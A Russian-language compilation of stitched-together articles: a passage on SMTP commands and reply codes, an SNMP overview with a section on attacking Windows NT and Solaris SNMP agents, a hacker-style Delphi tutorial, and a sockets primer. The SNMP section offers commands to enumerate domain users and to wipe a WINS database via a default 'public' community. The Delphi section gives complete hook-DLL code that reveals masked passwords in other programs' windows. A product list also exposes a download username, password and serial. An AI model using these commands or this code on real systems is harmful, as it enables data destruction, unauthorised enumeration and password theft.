После того как посланы все команды RCPT, клиент начинает передачу данных при помощи команды DATA. В строке 12 показано, как МТА-клиент (передатчик) высылает команду DATA, в строке 13 - как сервер отвечает кодом 354. Этот код означает, что передача данных разрешена и должна заканчиваться комбинацией CRLF-<точка>-CRLF (новой строкой, содержащей только точку).

  1. SENDER: DATA
  2. RECEIVER: 354 Start mail input; end with <CRLF>.<CRLF>

После того как получен код 354, клиент может начать передачу данных. МТА-сервер, в свою очередь, помещает принятые данные в очереди входящих сообщений. Сервер не высылает никаких ответов до тех пор, пока не получит комбинацию CRLF-точка-CRLF от клиента, означающую конец передачи данных. Как показано в строках 16 и 17, в ответ на полученную комбинацию CRLF-<точка>-CRLF, сервер выдает код 250. Как мы уже говорили, код ответа 250 означает успешное окончание операции:

  1. SENDER:
  2. RECEIVER: 250 OK

Для того чтобы закончить почтовую транзакцию, клиент, по правилам SMTP, обязан послать команду QUIT. Сервер, в свою очередь, отвечает кодом 221. Этот код подтверждает клиенту, что соединение будет закрыто, после чего соединение действительно закрывается:

  1. SENDER: QUIT
  2. RECEIVER: 221 mit.edu Service closing transmission channel

В любой момент во время транзакции клиент может использовать команды NOOP, HELP, EXPN и VRFY. В ответ на каждую команду сервер высылает клиенту определенную информацию. Конечно, в зависимости от ответа клиент может предпринять определенные действия, однако спецификация SMTP ничего не говорит по этому поводу. Например, клиент-МТА может передать команду VRFY для того, чтобы убедиться, что имя пользователя действительно. Если сервер ответит, что данного имени не существует, клиент МТА может не передавать почту для этого пользователя. В спецификации SMTP, однако, на этот счет нет никаких указаний - клиент может ничего не делать в ответ на команду VRFY. МТА-клиент может ничего не делать также в ответ на команды NOOP, HELP и EXPN - ответственность целиком лежит на разработчике конкретной реализации МТА.

Коды ответов SMTP

В спецификации SMTP требуется, чтобы сервер отвечал на каждую команду SMTP-клиента. МТА-сервер отвечает трехзначной комбинацией цифр, называемой кодом ответа. Вместе с кодом ответа, как правило, передается одна или несколько строк текстовой информации.

Примечание: Несколько строк текста, как правило, сопровождают только команды EXPN и HELP.В спецификации SMTP, однако, ответ на любую команду может состоять из нескольких строк текста.

Каждая цифра в коде ответа имеет определенный смысл. Первая цифра означает, было ли выполнение команды успешно (2), неуспешно (5) или еще не закончилось (3). Как указано в приложении Е документа RFC 821, простой SMTP-клиент может анализировать только первую цифру в ответе сервера, и на основании ее продолжать свои действия. Вторая и третья цифры кода ответа разъясняют значение первой. Если вы разрабатываете SMTP-приложение, обязательно изучите конструкцию всех кодов SMTP-ответа. То, как коды составлены в самом SMTP - превосходный образец грамотного подхода к делу. В табл.2 приведены возможные значения кодов ответа SMTP, определенные в RFC 821.

Коды ответа SMTP и их значение

  • 211 Ответ о состоянии системы или помощь
  • 214 Сообщение-подсказка (помощь)
  • 220 <имя_домена> служба готова к работе
  • 221 <имя_домена> служба закрывает канал связи
  • 250 Запрошенное действие почтовой транзакции успешно завершилось
  • 251 Данный адресат не является местным; сообщение будет передано по маршруту <forward-path>
  • 354 Начинай передачу сообщения. Сообщение заканчивается комбинацией CRLF-точка-CRLF
  • 421 <имя_домена> служба недоступна; соединение закрывается
  • 450 Запрошенная команда почтовой транзакции не выполнена, так как почтовый ящик недоступен
  • 451 Запрошенная команда не выполнена; произошла локальная ошибка при обработке сообщения
  • 452 Запрошенная команда не выполнена; системе не хватило ресурсов
  • 500 Синтаксическая ошибка в тексте команды; команда не опознана
  • 501 Синтаксическая ошибка в аргументах или параметрах команды
  • 502 Данная команда не реализована
  • 503 Неверная последовательность команд
  • 504 У данной команды не может быть аргументов
  • 550 Запрошенная команда не выполнена, так как почтовый ящик недоступен
  • 551 Данный адресат не является местным; попробуйте передать сообщение по маршруту <forward-path>
  • 552 Запрошенная команда почтовой транзакции прервана; дисковое пространство, доступное системе, переполнилось
  • 553 Запрошенная команда не выполнена; указано недопустимое имя почтового ящика
  • 554 Транзакция не выполнена

Промежуточные агенты

Термин "маршрут доставки" (forward-path) служит для того, чтобы отличать почтовый ящик (mailbox), имя которого абсолютно, от пути (он может быть различным), по которому следует почта. Предположим, что мы хотим доставить два почтовых сообщения на один и тот же сетевой компьютер. Оба сообщения имеют один и тот же адрес, однако не обязательно будут следовать по одному и тому же маршруту. Точно так же, если на пришедшие сообщения выдаются ответы, они не обязательно будут следовать по указанному обратному маршруту (reverse-path). Как правило, конкретный маршрут для почты выбирается системным администратором. Чтобы направить почту по нужному пути, используются значения маршрута доставки и обратного маршрута, в которых указываются промежуточные агенты (relay agents). Промежуточный агент доставки - это МТА, так называемый почтовый хаб (mail hub), настроенный на передачу транзитной почты. Чтобы доставить сообщение, местный агент пользователя (UA) передает его местному МТА, который, в свою очередь, передает его промежуточному агенту МТА. В следующем примере Smith@usc.edu является почтовым ящиком, a HOSTI, HOST2 и HOST3 - промежуточными агентами:


 MAIL FROM:<@HOSTI, @HOST2, @HOST3:Smith@usc.edu>
 

В наше время промежуточные агенты присутствуют практически во всех сетях, входящих в Internet. На рис.6 приведена типичная конфигурация почтовой системы Internet с участием промежуточных агентов.

Чтобы упростить процесс конфигурации почтовой системы, в локальной сети устанавливается один компьютер, служащий промежуточным агентом (relay host). Вся почта пользователей попадает сначала на него. Затем этот компьютер рассылает сообщения по Internet. Кроме всего прочего, такой компьютер может служить защитой фирмы от взломщиков-хакеров из Internet. Ограничивая общение локальной сети с внешним миром до уровня почты, организация сводит до минимума риск нежелательного вторжения в свои собственные системы.

Кроме того, администрировать и защищать в этом случае приходится единственный компьютер. SMTP в состоянии послать сообщение непосредственно с компьютера пользователя на компьютер адресата в том случае, если между ними существует прямое почтовое соединение. К сожалению, это далеко не всегда так. Как правило, между двумя компьютерами находится один или несколько промежуточных агентов. Чтобы обеспечить доставку, в почтовом сообщении нужно указать имя компьютера-получателя и точное наименование почтового ящика. Аргументом команды MAIL является обратный маршрут, включающий имя источника сообщения и имена всех промежуточных агентов. Аргумент команды RCPT - маршрут доставки, содержащий имя получателя сообщения. Обратный маршрут описывает путь, который прошло сообщение, тогда как маршрут доставки идентифицирует место назначения. Обратный маршрут используется SMTP, когда нужно передать сообщение о случившейся ошибке или о невозможности доставить сообщение, когда оно уже прошло через промежуточный агент. По мере продвижения сообщения по Internet записи о его маршрутах изменяются. В обязанности системных администраторов входит правильно настраивать местные МТА на передачу сообщений промежуточному агенту, и наоборот, промежуточные агенты на доставку сообщений местным МТА. Если у промежуточного МТА изменится имя, все, что нужно сделать в конфигурации местного МТА - изменить имя компьютера в системе DNS. Другие параметры конфигурации не изменяются. Другими словами, повторим еще раз, что иметь один компьютер для промежуточной доставки - значит, снять с себя значительную часть головной боли по настройке почтовой системы - ведь придется заботиться только об одном компьютере.

Рассмотрим почтовую транзакцию между промежуточными агентами SMTP. До того как сообщение будет передано следующему указанному в маршруте (в поле ТО:) компьютеру, имя данного компьютера удаляется из маршрута доставки и добавляется в начало обратного маршрута. К тому моменту, когда сообщение достигнет пункта назначения, маршрут доставки будет содержать только имя почтового ящика. В RFC 821 приведен пример того, как изменяется содержимое маршрутов по мере обработки почтового сообщения. Когда промежуточный агент А получает почту со следующими аргументами:


 FROM: <USERX@HOSTY.ARPA>
 TO: <@HOSTA.ARPA, @HOSTB.ARPA: USERC@HOSTD.ARPA>
 

он переправляет почту сетевому компьютеру В со следующими аргументами:


 FROM: <@HOSTA.ARPA: USERX@HOSTY.ARPA> TO: <@HOSTB.ARPA: USERC@HOSTD.ARPA>
 

Как видим, промежуточный агент A (HOSTA.ARPA) убрал свое имя из заголовка <ТО:> и добавил в заголовок <FROM:>. Промежуточный агент компьютера В совершит аналогичное действие, и следующим пунктом назначения сообщения будет почтовый ящик USERC на компьютере HOSTD.ARPA.

Примечание:

Другими словами, обратные маршруты и маршруты доставки строятся агентами передачи почты по мере прохождения сообщения от одного агента к следующему. Если очередной на пути сообщения SMTP-агент не умеет обслуживать промежуточную доставку, он должен ответить таким же кодом, какой предусмотрен на случай отсутствия местного почтового ящика.




Описание протокола SNMP (Simple Network Management Protocol)

Через 20 лет в детском саду (или в детском чате) мальчик спрашивает девочку: - A твои родители в каком чате познакомились?

Все серьезные системы управления сетями используют для своей работы простой сетевой протокол управления (Simple Network Management Protocol, SNMP). На самом деле SNMP - это не просто протокол, а целая технология, призванная обеспечить управление и контроль за устройствами и приложениями в сети. С ее помощью можно контролировать абсолютно любые устройства, подключенные к компьютерной сети, например датчики пожаротушения или даже светофоры. Разумеется, SNMP можно использовать (и это активно делают) для управления сетевыми компонентами: концентраторами, серверами, маршрутизаторами и т. п. Пользуясь информацией SNMP (такой, как показатель числа пакетов в секунду и коэффициент сетевых ошибок), сетевые администраторы могут более просто управлять производительностью сети и обнаруживать и решать сетевые проблемы.

Три составляющие части технологии SNMP: структура управляющей информации (Structure of Management Information, SMI) базы управляющей информации (Management Information Base, MIB) сам протокол SNMP

Модель управления SNMP

Агентами в SNMP являются программные модули, которые работают в управляемых устройствах. Агенты собирают информацию об управляемых устройствах, в которых они работают, и делают эту информацию доступной для систем управления сетями (network management systems - NMS) с помощью протокола SNMP.

Протокол SNMP v1

SNMP реализован в 1988 практически во всех широко распространенных сетевых средах: TCP/IP, IPX/SPX, AppleTalk и др. Основной концепцией протокола является то, что вся необходимая для управления устройством информация хранится на самом устройстве - будь то сервер, модем или маршрутизатор - в так называемой Административной Базе Данных ( MIB - Management Information Base ). SNMP как непосредственно сетевой протокол предоставляет только набор команд для работы с переменными MIB. Этот набор включает следующие операции:

  • get-request Используется для запроса одного или более параметров MIB
  • get-next-request Используется для последовательного чтения значений. Обычно используется для чтения значений из таблиц. После запроса первой строки при помощи get-request get-next-request используют для чтения оставшихся строк таблицы
  • set-request Используется для установки значения одной или более переменных MIB
  • get-response Возвращает ответ на запрос get-request, get-next-request или set-request
  • trap Уведомительное сообщение о событиях типа cold или warm restart или "падении" некоторого link'а.

Для того, чтобы проконтролировать работу некоторого устройства сети, необходимо просто получить доступ к его MIB, которая постоянно обновляется самим устройством, и проанализировать значения некоторых переменных.

Формат сообщений

Сообщения SNMP состоят из 2 частей: имени сообщества (community name) и данных (data). Имя сообщества назначает среду доступа для набора NMS, которые используют это имя. Информационная часть сообщения содержит специфичную операцию SNMP (get, set, и т.д.) и связанные с ней операнды. Операнды обозначают реализации об'екта, которые включены в данную транзакцию SNMP.

Structure of Managment Information. RFC 1208

Определяет логику адресации информации при взаимодействии агентов и менеджеров SNMP. Синтиксис описывается абстрактными правилами Abstract Syntax Notation One, ASN.1.

Managment Information Base (MIB, MIB-II). RFC 1213

MIB представляет из себя набор переменных, характеризующих состояние объекта управления. Эти переменные могут отражать такие параметры, как количество пакетов, обработанных устройством, состояние его интерфейсов, время функционирования устройства и т.п. Каждый производитель сетевого оборудования, помимо стандартных переменных, включает в MIB какие-либо параметры, специфичные для данного устройства (в поддерево private enterprise).

Как происходит адресация в MIB к некоторой ее переменной?

По своей структуре MIB представляет из себя дерево.Каждому элементу соответствует численный и символьный идентификатор. В имя переменной включается полный путь до нее от корневого элемента root.

Например, время работы устройства с момента перезагрузки хранится в переменной, находящейся в разделе system под номером 3 и называется sysUpTime. Соответственно, имя переменной будет включать весь путь: iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1).system(1).sysUpTime(3); или на языке чисел: 1.3.6.1.2.1.1.3. Следует заметить, что при этом узлы дерева разделяются точками.

Существует стандартная ветвь MIB, относящаяся к разделу управления mgmt, которую обычно поддерживают все сетевые устройства.

Тестирование сети с помощью SNMP

При помощи SNMP можно выполнять различные тесты функциональных возможностей сетевых устройств, определенные опять же на самих устройствах. Это бывает полезно, поскольку просто наблюдение статистики зачастую не дает полной картины происходящего.

Так, например, для раздела, относящегося к интерфейсам Ethernet, определен тест TDR (Time-domain reflectometry), позволяющий определять приблизительное расстояние до повреждения в коаксиальном кабеле. Для того, чтобы запустить TDR тест необходимо установить значение переменной ifExtnsTestTypе (1.3.6.1.2.1.12.2.1.4), содержащей тип выполняемого теста, так, чтобы она содержала идентификатор теста TDR в MIB: 1.3.6.1.2.1.10.7.6.1.

Результатом теста будет, во-первых, значение переменной ifExtnsTestResult (1.3.6.1.2.1.12.2.1.5), характеризующей исход теста:

  • отсутствие результата
  • успех
  • выполняется
  • не поддерживается
  • невозможно запустить
  • прекращен
  • неудачное завершение

И во-вторых, значение переменной ifExtnsTestCode (1.3.6.1.2.1.12.2.1.6) будет содержать идентификатор переменной MIB, содержащей результат теста. Результат теста определен как временной интервал в 100-наносекундных единицах между началом передачи тестового пакета и обнаружением коллизий в несущей. В принципе, на основании данного значения можно определить требуемое расстояние.

SNMP v2

Фундаментальным новшеством в SNMPv2 является то, что элемент администрирования сети может работать в качестве менеджера, агента или менеджера и агента одновременно. Данная концепция дает возможность пользователям применять SNMP в иерархической структуре, в которой локальные менеджеры отчитываются перед менеджерами среднего звена, которые, в свою очередь, контролируются менеджером высшего уровня. Немало места отводится проблемам защищенности SNMP, пожалуй, самой уязвимой точки протокола.

Безопасность SNMP. RFC 1352.

Один из наиболее заметных недостатков SNMP v1 - отсутствие развитой системы защиты данных на уровне, необходимом для сетей масштаба предприятия.

Как сказал Mike Warfield: "SNMP stands for Security Not My Problem".

В SNMPv1 защита административной информации трактовалась слишком упрощенно: она базировалась на использовании коллективного имени (Community Name), которое, находясь в заголовке SNMP, несло в себе все возможности защиты сообщений. Данное средство (известное под названием тривиальный протокол) требовало, чтобы программа-агент и менеджер опознали одно и то же коллективное имя, прежде чем продолжить выполнение операций сетевого администрирования. В результате многие администраторы сетей ограничивались в своей работе только функциями мониторинга, запрещая выдачу команды SET, способной изменять параметры конфигурации удаленного устройства. Это привело к тому, что пользователи избегали команд SET: такое примитивное средство защиты, как коллективное имя, могло дать возможность лицам, не наделенным соответствующими полномочиями, изменять параметры, о чем пользователи могли даже и не узнать. К тому же вся критически важная информация передавалась в открытом виде,поэтому в интернете доступен даже snmp sniffer

В связи с этим были разработаны предложения по совершенствованию защиты в рамках SNMPv1, представленные в июле 1992 г.; они составили основу структуры защиты для SNMPv2.

Стандартами защиты SNMPv2 определяются методы аутентификации (DAP - Digest Authentication Protocol) и обеспечения конфиденциальности (SPP -Symmetric Privacy Protocol) информации административного характера. В основе лежит концепция участника (party) - уникального набора параметров защиты, который может включать местоположение сети, протоколы аутентификации и обеспечения конфиденциальности, используемые между агентом и менеджером.

Проблемы внедрения SNMPv2

SNMPv2 сулит выгоды в плане защиты и производительности, что немаловажно для пользователей. Но некоторые компании наверняка предложат свои собственные идеи, особенно в части защиты и связей между менеджерами. Кроме того, фирмы, расширившие функциональные возможности своих баз данных MIB в средах с SNMPv1, вряд ли будут спешить с выпуском продуктов под SNMPv2.

Несомненно,пользователи захотят иметь продукты на базе SNMPv2. Но дело в том, что многие уже вложили слишком большие средства в версию SNMPv1, чтобы просто выбросить ее и начать все с нуля. Авторы SNMPv2 предвидели это и исходили из постепенности перехода на новую технологию. Предусмотрены два способа сохранения SNMPv1: использование уполномоченных агентов и двуязычных менеджеров. Уполномоченный агент выполняет преобразование форматов SNMPv1 в сообщения SNMPv2 и обратно.

Другой вариант - двуязычный менеджер, который одновременно поддерживает оба протокола (SNMPv1 и SNMPv2) и не требует преобразований. Двуязычный менеджер SNMP определяет, с каким форматом работает агент - версии 1 или версии 2, и общается на соответствующем диалекте. Таким образом, выбор версии протокола должен быть прозрачен для принимающих устройств.

К сожалению,вторая версия SNMP так до сих пор и не утверждена, поэтому в стане сетевого управления наблюдается разброд и шатания.

Доступные реализации агентов и менеджеров

http://www.microsoft.com/smsmgmt/
MS SMS Netmon

http://www.winfiles.com/apps/98/net-manage.html
куча разнообразных агентов и менеджеров для Win95.

Epilogue предлагает ПО, реализующее поддержку SNMP, включающую:

  • Envoy, Epilogue's compact, fast, portable SNMP solution for OEMs
  • Emissary, an SNMP MIB compiler that allows SNMP implementors to extend standard SNMP variables to support extensions to the MIBs in each managed device;
  • Ambassador, a complete, portable implementation of the RMON (FastEthernet) remote monitoring agent.
  • The IBM Netview for AIX feature of SystemView provides distributed or centralized management of large heterogeneous networks.
  • ACE*COMM WinSNMP supports SNMPv1 & SNMPv2u in v2.0 of its industry-leading Win16 and Win32 WinSNMP implementations.
  • Digital Unix POLYCENTER Manager on NetView provides client/server management of multivendor enterprise networks.
  • The PowerFlag tool - агент для UPS MIB источников бесперебойного питания компании Victron B.V.
  • WS_Ping ProPack v.2.10 позволяет просматривать MIB таблицы, указывать поддеревья. Для скачавания свежих версий с сервера Ipswitch можно использовать следующие данные :
    • User Name: 0000037181
    • Password: CQWSC
    • Serial Number: WP-101333
  • Openly-Available Implementations
  • CMU SNMP agent (source)
    • an agent that support both SNMPv1 and SNMPv2u
    • a number command line based applications that support both SNMPv1 and SNMPv2u.
    • Carnegie-Mellon University SNMP Development Kit supporting SNMPv1/v2
  • NetSCARF is a Network Statistics Collection and Reporting Facility. It allows ISPs to collect and report data about their part of the Internet, supports both SNMP version 1 and USEC.
  • Scotty is a network management extension for the Tool Command Language (Tcl) which includes a portable implementation of the SNMPv1, SNMPv2c and SNMPv2u protocol. The Scotty Tcl extension includes the network management platform (Tkined) which provides a MIB browser, a network map editor as well as status monitoring, troubleshooting, network discovery and event filtering scripts.
    • snmptcp v1.3 is a extensible platform for management applications which seemlessly implements SNMPv1, SNMPv2c, and SNMPv2u.
    • The package runs under the X Window System on UNIX and is built from Tool Command Language (Tcl7.3/Tk3.6).In addition to a MIB compiler, the package contains some minimal applications for a number of standard MIB modules.

Атака на Windows SNMP.

Cервисы работают на следующих UDP портах (/etc/services)

  • snmp 161/udp snmp
  • snmp-trap 162/udp snmp

Интересные SMI Network Management Private Enterprise Codes:

Prefix: 1.3.6.1.4.1.

  • 2 IBM
  • 4 Unix
  • 9 cisco
  • 32 Santa Cruz Operation
  • 42 Sun Microsystems

Небольшое распространение сканнеров UDP портов под Windows, SNMP менеджеров, а также отсутствие знаний о самом протоколе является, по всей видимости, единственной причиной малочисленности атак на устройства под управление SNMP v1, так как в реализациях этого протокола в некоторых операционные системы допущены серьезные ошибки. Подтверждения этому то и дело появляются в списках рассылки bugtraq

Уязвимость в стандартной конфиругации Windows NT SNMP Сервиса.

Позволяет удаленно конфигурировать сетевые парамерты, которые влияют на безопасность и правильное функционирования системы (если администратор сам запустил SNMP Service)

При конфигурации по умолчанию, SNMP service отвечает на стандартное community ( имя ) "public", которое обладает права на чтение и запись. Community - это имя, которое обладает такими же функциями, как логин и пароль в системах.

Протокол SNMP предоставляет два уровня полномочий : read-only and read-write, однако до выхода SP4 Windows NT SNMP Service не позволял конфигурировать communities по доступу, отличному от read-write!

Если попытать обезопасить SNMP Service путем переименования community для доступа, то система останется незащищенной от крякера, имеющего аккаунт на машине, так как параметры SNMP Service находятся в регистри и доступны всем пользователям на чтение. Также Windows NT SNMP Service обладает возможностью ограничить доступ для списков IP-адресов. На первый взгляд это позволяет защититься от атак неизвестных систем, однако это не является проблемой для крякеров (что необходимо понимать любому администратору), так как протокол SNMP использует UDP протокол для обмена информацией, а он является протоколом без установления соединения, поэтому возможна подмена исходящего адреса (но для этого придется переработать исходники SNMP менеджеров под Unix и изучить UDP spoofing)

SNMP "set" операции ( позволяющие менять значение переменных ) могут быть произведены с подменой обратного адреса на любой, так как ответ не нужен. Однако если включено ограничение доверенных IP адресов, но придется найти аккаунт на атакуемой системе и извлечь доверенную информацию из регистри.

Благодаря сконфигурированному по умолчанию Windows NT SNMP Сервису мы можем извлечь с помощью SNMP менеджера следующую информацию :

  • the LAN Manager domain name
  • a list of users
  • a list of shares
  • a list of running services

Как рекомендовалось в ISS scanner'е, можно выключить эту порцию SNMP mibs таким способом:

  1. Открыть HKLM\System\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
  2. найти значение, которое содержит SOFTWARE\Microsoft\LANManagerMIB2Agent\CurrentVersion
  3. и удалить его.
  • a list of active TCP connections
  • a list of active UDP connections
  • a list of network interfaces and their associated IP and hardware addresses
  • the IP routing table and the ARP table as well as a number of networking performance statistics.

Устанавливая переменные, крякер может модифицировать таблицу роуминга, ARP таблицу, выключить сетевые интерфейсы, сбить существенные сетевые параметры типа default IP, время жизни пакетов (TTL), IP forwarding (позволит крякеру перенаправлять сетевой трафик). Это особенно опасно, если атакуемая машина является фаерволом.

За примерами далеко ходить не надо, например, если машина является domain controller или server, но получить список всех пользователей в домене можно командой C:\NTRESKIT>snmputil walk public .1.3.6.1.4.1.77.1.2.25

Если вам хочется удалить все записи в базе данных WINS ( что приведет к полному отказу WinNT ), то для этого необходимо выполнить ~$snmpset -v 1192.178.16.2 public .1.3.6.1.4.1.311.1.2.5.3.0 a 192.178.16.2 из набора CMU SNMP development kit under Unix.

Также есть очень любопытная деталь при установки SNMP community names в Windows NT 4.0 (SP3). Если сервис включен, а имена не сконфигурированы, то любое имя будет давать read/write привилегии. Как оказалось, это указано еще в спецификации SNMP ( RFC 1157 )!

Четвертый СервисПак(SP4) предоставляет следующее решение проблемы: добавление контроля доступа community как READ ONLY,READ WRITE или READE CREATE. Однако по умолчанию SP4 устанавливает READ CREATE доступ, который все еще позволяет атаковать машины. Микрософт явно заботиться об удобстве WinNT для хакеров :)

Лучший способ защиты по рекомендации M$: заблокировать SNMP access на firewall'е.

Проблема в OS Solaris версии до 2.6.

Исходя из ISS Security Advisory (November 2nd, 1998), в агенте SNMP, который по умолчанию запущен в этой системе, существуют реальные угрозы получить доступ на уровне рута, манипулировать процессами и параметрами машины.

Для доступа к MIB-информации существует скрытая "undocumented community string", которая позволит атакующему изменить большинство системных параметров.

К сожалению, само это community не называется, однако ISS Internet Scanner и ISS RealSecure real-time intrusion detection могут детектировать эту проблемы, т.е. посмотреть можно и в их исходниках




Увидеть пароль скрытый за звёздочками

Hе пей из чайника - чайником станешь...

Создание и использование DLL:

Благодаря твоим просьбам и запросам из HackFaq мне приходится отходить от плана согласованного с главредом. С одной стороны, ты толкаешь меня под окровавленный кровью авторов Х нож главреда. С другой стороны ты мне усложняешь жизнь по самые «не хочу». В любом случае, ничего хорошего. Если так пойдёт и дальше, то на ноже SinTEZа появится моя свежая кровь. И следующий репортаж о кодинге мне придётся вести уже из морга.

Но что поделаешь. Сегодня мне приходится корректировать свой план и выполнять твои просьбы. В этом номере обе статьи кодинга построены по самым многочисленным просьбам.

Эта статья отвечает на наиболее часто задаваемый вопрос из HackFaq: «Как увидеть пароль спрятанный под звёздочками?». Для этого есть куча разных прог. Но мы же с тобой совместимые челы, поэтому не юзаем чужие творения. Вот поэтому мы создадим такую прогу сами. Тем более, что сам попросил объяснить, как это работает.

Шкодинг:

Для этого примера я написал DLL файл, который будет сейчас расписан перед твоими глазами. Ничего особо визуального мы сегодня делать не будем. Только кодинг и ничего больше. Кстати, я уже перешёл на Delphi 6, так что все исходники теперь будут писаться в нём. Если ты до сих пор застрял в Delphi 5, то бегом на рынок за свеженьким диском.

Для начала создадим новый проект. Но не тот, который использовали до этого, а проект DLL библиотеки. Для этого выбирай меню File->New->Other … (для Delphi 5 это просто File->New). Перед тобой откроется окно. Найди здесь пункт DLL Wizard и дважды кликни по нему. Delphi создаст пустой проект DLL библиотеки. Сразу нажми пимпу «Save», чтобы сохранить проект. В качестве имени введи «hackpass», это же и будет именем dll файла.

Теперь сотри весь текст, который написал Delphi и напиши:


 library hackpass;
 
 uses Windows, Messages;
 var
  SysHook : HHook = 0;
  Wnd : Hwnd = 0;
 
 function SysMsgProc(code : integer; wParam : word;
  lParam : longint) : longint; stdcall;
 begin
  // Передать сообщение другим ловушкам в системе
  CallNextHookEx(SysHook, Code, wParam, lParam);
  // Проверяю сообщение
  if code = HC_ACTION then
  begin
    // Получаю идентификатор окна сгенерировавшего сообщение
    Wnd := TMsg(Pointer(lParam)^).hwnd;
 
    // Проверяю тип сообщения.
    // Если была нажата левая кнопка мыши
    // и удержана кнопка Control, то …
    if TMsg(Pointer(lParam)^).message = WM_LBUTTONDOWN then
      if ((TMsg(Pointer(lParam)^).wParam and MK_CONTROL) = MK_CONTROL) then
      begin
        // Убрать в окне отправившем сообщение зв¸здочки
        SendMessage(Wnd, em_setpasswordchar, 0, 0);
        // Перерисовать окно.
        InvalidateRect(Wnd, nil, true);
       end;
   end;
 end;
 
 // Процедура запуска.
 procedure RunStopHook(State : Boolean) export; stdcall;
 begin
  // Если State = true, то...
  if State=true then
  begin
    // Запускаем ловушку.
    SysHook := SetWindowsHookEx(WH_GETMESSAGE,
       @SysMsgProc, HInstance, 0);
  end
  else// Иначе
  begin
    // Отключить ловушку.
    UnhookWindowsHookEx(SysHook);
    SysHook := 0;
  end;
 end;
 
 exports RunStopHook index 1;
 
 begin
 end.
 
 

Теория:

Самое основное в нашей DLL – это процедура RunStopHook. Ей передаётся один только параметр. Если он равен true, то я регистрирую ловушку, которая будет ловить все сообщения Windows на себя. Для этого используется функция SetWindowsHookEx. У этой функции четыре параметра:

  • Тип ловушки. Я указал WH_GETMESSAGE, которая ловит все сообщения.
  • Указатель на функцию, которой будут пересылаться сообщения Windows.
  • Указатель на приложение.
  • Идентификатор потока. Если ноль, то используется текущий.

В качестве второго параметра я указал имя функции SysMsgProc. Она так же описана в этой dll. Давай на неё посмотрим.

Ловушка для сообщений:

В первой строке я передаю пойманное сообщение остальным ловушкам установленным в системе с помощью CallNextHookEx. После этого я получаю окно сгенерировавшее событие и проверяю тип события. Если была кликнута левая кнопка крысы и удержана пимпа Control, то убрать звёздочки.

Я не могу больше останавливаться на этой DLL потому что моя рубрика не резиновая. Придётся тебе разбираться с происходящим по комментариям.

Юзаем DLL:

Теперь напишем прогу, которая будет загружать DLL и запускать ловушку. Для этого создай новый проект (такие мы уже создавали). Перейди в исходник, и найди раздел var. Рядом должно быть написано что-то типа «Form1: TForm1». Допиши сюда строку:


 procedure RunStopHook(State : Boolean) stdcall; external 'hackpass.dll' index 1;
 

В этой строке я объясняю Delphi, что есть такая функция RunStopHook, которая находится в написанной мной библиотеке hackpass.dll и её индекс = 1. Вот по этому индексу Delphi и будет вызывать функцию. Можно конечно же и по имени, но это будет немного медленней.

Теперь создай обработчик события для формы OnShow и напиши там:


 RunStopHook(true);
 

И наконец создай обработчик события OnClose и напиши:


 RunStopHook(false);
 

Кранты паролям:

Всё наше приложение готово. Запусти его. Потом перейди в окно со строкой ввода и кликни там левой кнопкой крысы удерживая Control. Звёздочки моментально превратятся в реальный текст.

Для большего эффекта можешь бросить на форму проги загружающей DLL, какую-нибудь картинку. Ну а если что-то не понятно, то просто тренируйся. Со временем всё само придёт. Главное практика.




Сокеты 1

Автор: Danil
WEB-сайт: http://www.danil.dp.ua

Приходит девица под утро с интернет-тусовки, вся в синяках, заплаканная:
- Мама! Меня хакнули!

В этой статье я немного расскажу о сокетах и о граблях, на которые я понаступал, программируя различные клиентские и серверные приложения на протоколе TCP/IP. Постараюсь объяснить простым языком для неспециалистов. Здесь будут даны самые начальные сведения и будет попытка обобщения. В некоторых статьях есть такая фраза - "для ... необходимо знать это и то, а для тех кто не знает - идите смотрите там, не знаю где". Теперь будет ясно "где"; и эти статьи, я думаю, могут быть справочником в дальнейшем. Будет рассмотренна работа с сокетами в m$ windows. Для программирования сокетов в никсах различие очень незначительны (все функции и структуры мелкософт постарался без изменений передрать) и основные из них рассмотрены в статьях, ссылки на которые приведены в конце, в разделе "Что еще почитать". Программа, использующая сокеты, может работать с одним сокетом или с множеством одноременно "открытых" сокетов (сокетный движок). Сразу стоит выделить различие между блокирующими (асинхронными) и неблокирующими (синхронными, требующими синхронизацию) сокетами.

Попытка соединения и приема данных может быть вызванна в блокирующем режиме (отправка всегда неблокирующая - просто добавление в очередь сокета данных). Это значит, что пока программа не соеденится или не примет данные, передача управления на следующий оператор не происходит. Это подходит для приложений, использующих один сокет, где ожидание приема данных обязательно, в программах с сокетным движком (много сокетов), где создается несколько отдельно работающих процессов с линейными алгоритмами и т.п.

Или же работа с сокетным движком может бытиь реализована в неблокирующеим режиме. При этом сразу же, не дожидаясь соединения или приема данных, происходит передача управления на следующий оператор программы. В последующем алгоритме необходимо использовать оператор select (переключение) и делать опросы сокетов на предмет приняты/нет данные. Обычно это выполняется в цикле - выход по установленному тайм-ауту (количество произведенных опросов сокета, при котором можно считать, что произошла ошибка или скорость соединения неудовлетворительна) или с использованием работы с назначением и реакцией сообщений операционной системы.

Итак, вначале некоторый ликбез. Программы, о которых пойдет речь ниже, делятся на клиенты и серверы. Вначале необходимо рассмотреть минимум используемых функций, для работы этих программ. В m$ windows работой с сокетами "заведует" winsock.dll. Для разных языков программирования синтаксис вызова функций из этой DLL незначителен. В Delphi, например, в катологе Source находится файл winsock.pas, который всего лишь объявляет нужные функции и структуры данных. При подгрузке модуля WinSock в uses, их можно вызывать с синтаксисом паскаля, но от этого принцип их работы не изменится. Кстати, не советовал бы использовать стандартные компоненты Delphi и Builder (TServerSocket, TClientSocket) из-за их глючности. Если не очень хочется использовать стандартные winsock-функции, то можно взять набор компонент Indy. Вот функции winsock:


 int WSAStartup (WORD wVersionRequested, LPWSADATA lpWSAData);
 

говорит оси, что во всех процессах программы могут быть использованы функции WinSock. Должна вызываться самой первой.


 int WSACleanup;
 

"деинициализирует" WSAStartup.


 SOCKET socket (int af, int type, int protocol);
 

создает сокет. Второй параметр - вид данных, третий - вид протокола. Порт и адрес задается в функции bind (сервер) или connect (клиент).


 int closesocket (SOCKET s);
 

закрывает сокет.


 int bind (SOCKET s, const struct sockaddr FAR* name, int namelen);
 

ассоциирует адрес с сокетом. Структура адреса содержит порт (необходимо привести функцией htons) и адрес (для сервера обычно указывается INADDR_ANY - любой).


 int connect (SOCKET s, const struct sockaddr FAR* name, int namelen);
 

функция соединения для клиента. Структура адреса содержит порт (необходимо привести функцией htons) и адрес (для клиента необходимо привести из имени или спецификации ip4 - xxx.xxx.xxx.xxx).


